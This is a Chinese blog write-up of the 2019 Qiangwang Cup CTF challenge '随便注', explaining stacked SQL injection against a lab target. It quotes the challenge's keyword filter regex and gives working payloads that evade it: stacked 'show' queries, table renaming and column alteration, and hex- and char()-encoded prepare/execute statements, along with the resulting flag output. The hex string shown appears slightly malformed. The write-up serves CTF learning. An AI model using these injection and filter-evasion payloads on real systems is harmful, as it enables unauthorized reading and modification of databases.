

# 2019强网杯随便注writeup

原创

ghtwf01 于 2020-12-01 17:08:12 发布 42 收藏 1

分类专栏: [CTF Writeup](#) 文章标签: [安全](#) [php](#) [网络安全](#) [信息安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/ghtwf01/article/details/110440402>

版权



[CTF Writeup](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

先添加一个单引号, 报错, 错误信息如下:

```
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' at line 1
```

接着测试+注释, 发现被过滤, 然后使用#注释, 可行

用order by语句判断出有两个字段, 接着使用union select 爆字段, 发现这个时候出现了如下提示:

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i",$inject);
```

发现上面的关键字都被过滤不能使用了, 没法进行注入, 这个时候尝试一下堆叠注入

这里讲解一下堆叠注入

堆叠注入原理:

在sql语句中以;表示一个语句的结束, 如果一个sql语句结束后再接着一个sql语句, 就会执行这两条sql语句  
演示如下:

此时数据库里面存着如下账号密码的表

```
mysql> select * from users;
```

id	username	password
1	Dumb	Dumb
2	Angelina	I-kill-you
3	Dummy	p@ssword
4	secure	crappy
5	stupid	stupidity
6	superman	genious
7	batman	mob!le
8	admin	admin
9	admin1	admin1
10	admin2	admin2
11	admin3	admin3
12	dhakkan	dumbo
14	admin4	admin4

```
13 rows in set (0.06 sec)
```

我们来试一试一次性执行两条sql语句, 第一条是删除id为14的用户, 第二条是新建id为13的用户并赋予账号密码

```
mysql> delete from users where id=14;insert into users(id,username,password) values (13,'test','test')
Query OK, 1 row affected (0.00 sec)
Query OK, 1 row affected (0.00 sec)
mysql> select * from users;
```

id	username	password
1	Dumb	Dumb
2	Angelina	I-kill-you
3	Dummy	p@ssword
4	secure	crappy
5	stupid	stupidity
6	superman	genious
7	batman	mob!le
8	admin	admin
9	admin1	admin1
10	admin2	admin2
11	admin3	admin3
12	dhakkan	dumbo
13	test	test

```
13 rows in set (0.00 sec)
```

发现成功执行两条sql语句

假设有一条sql语句如下, 利用堆叠注入效果如何呢

```
select xxx from table_name where id='$id' limit 0,1
```

注入后:

```
select xxx from table_name where id='$id';show databases;# ' limit 0,1
```

因为是单引号闭合，所以添加单引号后加分号，前面就是一条完整的sql语句 `select xxx from table_name where id='$id'`;

后面的sql语句就是 `show databases;`

# 注释掉后面的 `limit 0,1`

现在回到这道题，利用堆叠注入，查询所有数据库

```
1';show databases;#
```

姿势: `1';show databases; #`

提交查询

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}
```

```
array(1) {
  [0]=>
  string(18) "information_schema"
}
```

```
array(1) {
  [0]=>
  string(5) "mysql"
}
```

```
array(1) {
  [0]=>
  string(18) "performance_schema"
}
```

```
array(1) {
  [0]=>
  string(9) "supersqli"
}
```

```
array(1) {
  [0]=>
  string(4) "test"
}
```

查询所有表

```
1';show tables;#
```

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}
```

```
array(1) {
  [0]=>
  string(5) "words"
}
```

查询words表中所有列

```
1';show columns from words;#
```

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

```
array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

查询1919810931114514表中所有列

1';show columns from `1919810931114514`;#(字符串为表名操作时要加反引号)

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表，因为查询出的结果是一个数字加一个字符串，words表结构是id和data，传入的inject参数也就是赋值给了id

方法一(修改数据库结构):

这道题没有禁用rename和alert，所以我们可以采用修改表结构的方法来得到flag

将words表名改为words1，再将数字名表改为words，这样数字名表就是默认查询的表了，但是它少了一个id列，可以将flag字段改为id，或者添加id字段

```
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#
```

这段代码的意思是将 words 表名改为 words1，1919810931114514 表名改为 words，将现在的 words 表中的 flag 列名改为 id 然后用 1' or 1=1 # 得到flag

姿势:

```
array(1) {
  [0]=>
  string(42) "flag{d9c64ad7-13d9-4fce-8cce-dce801fd3960}"
}
```

方法二(mysql预处理):

语句一:

```
1';SeT@a=0x73656c656374202a2066726f6d206031393139383130393333131313435313460;prepare execsql from @a;execute execsql;#
```

(那一串是select \* from `1919810931114514`的十六进制)

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(42) "flag{7371da83-0f6e-421b-ae7a-b6cc55ec88a9}"
}
```

语句二:

```
1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
```

(char(115,101,108,101,99,116)是把select的ascii码转换为字符连接起来,再把后面的拼接起来就成了select \* from `1919810931114514`)

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(42) "flag{7371da83-0f6e-421b-ae7a-b6cc55ec88a9}"
}
```